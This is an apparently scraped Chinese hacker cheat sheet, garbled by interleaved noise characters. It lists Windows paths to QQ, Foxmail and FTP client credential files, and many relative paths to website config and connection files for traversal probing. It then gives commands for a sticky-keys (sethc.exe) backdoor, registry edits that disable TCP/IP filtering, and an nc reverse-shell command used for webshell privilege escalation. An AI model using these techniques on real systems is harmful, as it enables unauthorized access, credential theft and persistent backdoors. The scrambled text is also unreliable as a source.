! X+ d- k+ F. k4 S& ac:\Program Files\Tencent\qq\User.db
1 W2 n6 d6 ?) R4 u9 [- W4 z( L4 Yc:\Program Files\Tencent\qq\qq.exe
c:\Program Files\Tencent\qq\bin\qq.exe
c:\Program Files\Tencent\qq2009\qq.exe
$ f( U7 \: w" y# L- Qc:\Program Files\Tencent\qq2008\qq.exe
% g( `; a+ E& E/ U7 h# e$ Mc:\Program Files\Tencent\qq2010\bin\qq.exe
c:\Program Files\Tencent\qq\Users\All Users\Registry.db
C:\Program Files\Tencent\TM\TMDlls\QQZip.dll
: K6 T6 G: P# }c:\Program Files\Tencent\Tm\Bin\Txplatform.exe
c:\Program Files\Tencent\RTXServer\AppConfig.xml
C:\Program Files\Foxmal\Foxmail.exe
# |3 Q: `- X4 \! Q! {# Q3 FC:\Program Files\Foxmal\accounts.cfg
C:\Program Files\tencent\Foxmal\Foxmail.exe
C:\Program Files\tencent\Foxmal\accounts.cfg
) c1 _! d: l0 u% H; ^6 ^& _C:\Program Files\LeapFTP 3.0\LeapFTP.exe
6 }; h* f. K  o9 O1 x7 Q* {C:\Program Files\LeapFTP\LeapFTP.exe
" {; d0 ?; V$ P! J! p$ S/ [0 ac:\Program Files\GlobalSCAPE\CuteFTP Pro\cftppro.exe
6 ~( S. O, b" Y6 B+ [& q% p6 V0 uc:\Program Files\GlobalSCAPE\CuteFTP Pro\notes.txt
C:\Program Files\FlashFXP\FlashFXP.ini
C:\Program Files\FlashFXP\flashfxp.exe
% S) S7 s* R! m. k/ @% Y# X% qc:\Program Files\Oracle\bin\regsvr32.exe
c:\Program Files\腾讯游戏\QQGAME\readme.txt
) i$ t+ H" X' n0 Tc:\Program Files\tencent\腾讯游戏\QQGAME\readme.txt
6 P4 C$ Y/ g; x- \: tc:\Program Files\tencent\QQGAME\readme.txt
C:\Program Files\StormII\Storm.exe

3.网站相对路径:
3 h6 U3 Q3 n& b6 e: N1 d& J+ @
. m# l& T, K3 u4 D! l/config.php
2 l) g& l" d# A: \../../config.php
. i+ d, r  j* {( ~1 L5 N8 J/ q../config.php
/ B% \: d6 X2 R7 s+ J4 p../../../config.php
* x4 _0 {0 Q: u; d/config.inc.php
./config.inc.php
../../config.inc.php
& I, W( F3 Q0 ~  O../config.inc.php
" j0 b# G8 ?- U2 }2 N../../../config.inc.php
0 \* z2 p9 k) D  D' }! A5 e1 Z/conn.php
./conn.php
../../conn.php
% l! m  f4 e- o../conn.php
9 u6 a: S/ p7 Y8 g+ m../../../conn.php
4 t/ k7 o- }- S! L, C" I/conn.asp
./conn.asp
# Z8 v% i! I& O../../conn.asp
../conn.asp
../../../conn.asp
; g, K) V; K7 f8 D( K) S/config.inc.php
./config.inc.php
5 A# ~' }- p, t' N) q9 N* e: |../../config.inc.php
../config.inc.php
1 ~" `  T' X& t../../../config.inc.php
$ |; K0 L4 j( R5 a1 R* f/config/config.php
../../config/config.php
% r6 e. C& V/ ?! C$ e" Q; n" s../config/config.php
../../../config/config.php
% u! i. r% ?% [! t) L/config/config.inc.php
" E8 s/ n# ?0 X3 P1 c./config/config.inc.php
../../config/config.inc.php
../config/config.inc.php
9 r$ e: Q  V, |! t" w../../../config/config.inc.php
/config/conn.php
./config/conn.php
& I: L6 q! g) P8 O8 d../../config/conn.php
../config/conn.php
7 N% s6 s; G" F: v../../../config/conn.php
/config/conn.asp
./config/conn.asp
../../config/conn.asp
../config/conn.asp
0 w/ J" w1 w2 p0 p" U  R../../../config/conn.asp
/config/config.inc.php
& f. ^, J; n3 z# y& O5 r./config/config.inc.php
+ {* K! c8 D% g! _' Y. J0 k../../config/config.inc.php
../config/config.inc.php
../../../config/config.inc.php
$ t+ K! x0 }& F/data/config.php
../../data/config.php
# Q" t, k; }) e! d  v../data/config.php
. ^6 W4 F# ]- s../../../data/config.php
  w. W- Y8 a- C! }# |$ b" _' M/data/config.inc.php
./data/config.inc.php
../../data/config.inc.php
../data/config.inc.php
  F4 W* A5 B/ a" H: R../../../data/config.inc.php
7 N! Q& b+ o1 M/data/conn.php
( o5 X0 g1 V2 e( H- t- }./data/conn.php
1 Y2 K/ v+ d5 d/ c/ O& v6 W# B../../data/conn.php
! O+ D1 E9 V% I$ W) L) S& k' ]8 B../data/conn.php
../../../data/conn.php
& t0 |3 o1 a3 b& n/data/conn.asp
0 V, g2 D9 I& Q0 s./data/conn.asp
../../data/conn.asp
../data/conn.asp
5 l: @7 e% Q% B& q. w../../../data/conn.asp
/data/config.inc.php
./data/config.inc.php
../../data/config.inc.php
9 [* J& V) ~0 A7 `# T../data/config.inc.php
../../../data/config.inc.php
; V  g% B6 `& N, R/ e/include/config.php
1 k# [$ R* G  L% \0 s! q../../include/config.php
../include/config.php
- C/ V3 L' }% W../../../include/config.php
/ \9 W( G3 O9 w' A* P* C/include/config.inc.php
+ Y6 D; l( H* Z7 M# f% V./include/config.inc.php
6 E6 Q0 V# M7 |% t% m' S! m../../include/config.inc.php
../include/config.inc.php
3 o" @5 Q% x. a0 O* k% Y( {../../../include/config.inc.php
/include/conn.php
./include/conn.php
../../include/conn.php
/ }( m9 e5 }) R2 B2 }../include/conn.php
../../../include/conn.php
) j' A2 n* x9 }4 M$ i/include/conn.asp
. O7 p! w( y$ f( O& P. k./include/conn.asp
../../include/conn.asp
../include/conn.asp
../../../include/conn.asp
3 x% `& ]$ o' h! F/include/config.inc.php
) S; a& b3 F/ A* [+ g, s( n. n./include/config.inc.php
$ K( O! C( @' |+ B, k) F../../include/config.inc.php
9 W& [: e/ \- Z../include/config.inc.php
: q0 u; W5 @% f, z../../../include/config.inc.php
/inc/config.php
: g  ~& I: J& Q( n' `- o( t../../inc/config.php
../inc/config.php
- u& x4 D% c& U* K" w0 h../../../inc/config.php
9 ~0 v0 U8 \3 }4 g, a  x1 L. L2 S/inc/config.inc.php
./inc/config.inc.php
0 e" P, C* O& I' [3 x5 H& Z../../inc/config.inc.php
../inc/config.inc.php
../../../inc/config.inc.php
/inc/conn.php
" i. _6 \9 I" V! o./inc/conn.php
../../inc/conn.php
../inc/conn.php
../../../inc/conn.php
+ W: c7 Z7 ^0 f- |7 V: D/inc/conn.asp
./inc/conn.asp
8 j& y- J$ P+ i2 B( Y, V. S1 _- ^../../inc/conn.asp
7 ?: K8 F; d5 ^& n+ E/ c../inc/conn.asp
" Q9 Z/ Q! B& c! Z../../../inc/conn.asp
/inc/config.inc.php
./inc/config.inc.php
../../inc/config.inc.php
% Q- X, A3 {  q& F../inc/config.inc.php
; z, D  E. T* A) A; m) T2 ~( v( v../../../inc/config.inc.php
; f% @$ s1 z8 |2 w+ F8 @/index.php
./index.php
../../index.php
../index.php
, t6 h5 ^, B1 a& Y../../../index.php
/index.asp
1 ]1 o: s( ]" f./index.asp
$ r) }# }* Q$ o/ K7 w../../index.asp
../index.asp
../../../index.asp
* ^: U+ S- o8 K. ^  X) J替换SHIFT后门
　attrib c:\windows\system32\sethc.exe -h -r -s
7 I* W. p6 P5 K# r, |. z
8 q2 j0 V9 W  s4 x, v& N7 m& {　　attrib c:\windows\system32\dllcache\sethc.exe -h -r -s
* x3 W7 @3 s' ^& ]8 I5 [+ L
6 g& H. B6 }1 W1 i9 P　　del c:\windows\system32\sethc.exe

　　copy c:\windows\explorer.exe c:\windows\system32\sethc.exe
6 ~# p8 M' V+ z4 W4 M7 w
" u# d* K1 s$ }) \' w8 j　　copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe

! j) y+ p2 L4 F& d$ q　　attrib c:\windows\system32\sethc.exe +h +r +s

　　attrib c:\windows\system32\dllcache\sethc.exe +h +r +s
去除TCPIP筛选
8 a7 {" g5 K" e5 v9 JTCP/IP筛选在注册表里有三处，分别是：
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip
1 R& K3 f2 `0 s5 s% |HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
; u: z* B6 O! }/ vHKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
; s# [& E; S  j& [! u; b
+ K& V3 _5 t7 B$ ~分别用
* J) a9 J5 t, _  X7 Dregedit -e D:\a.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
regedit -e D:\b.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
regedit -e D:\c.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
命令来导出注册表项

然后把 三个文件里的EnableSecurityFilters"=dword:00000001，改成EnableSecurityFilters"=dword:00000000
+ @! L. L+ E/ S3 |3 X
9 _8 _8 X3 a! ?; b再将以上三个文件分别用
8 w2 {; }# T/ ^( s  |regedit -s D:\a.reg
/ r" L/ [9 F0 O4 m0 `regedit -s D:\b.reg
regedit -s D:\c.reg
导入注册表即可

webshell提权小技巧
cmd路径:
c:\windows\temp\cmd.exe
3 s; ~! I' {: _8 b6 gnc也在同目录下
例如反弹cmdshell：
9 f( g! l& O) D3 n/ Y"c:\windows\temp\nc.exe -vv ip 999 -e c:\windows\temp\cmd.exe"
, @! n+ U& Y) ^6 o1 \通常都不会成功。

而直接在 cmd路径上 输入 c:\windows\temp\nc.exe
命令输入   -vv ip 999 -e c:\windows\temp\cmd.exe
却能成功。。
这个不是重点
4 H$ `6 g! S  j, ?. f2 ?我们通常 执行 pr.exe 或 Churrasco.exe 时 有时候也需要 按照上面的 方法才能成功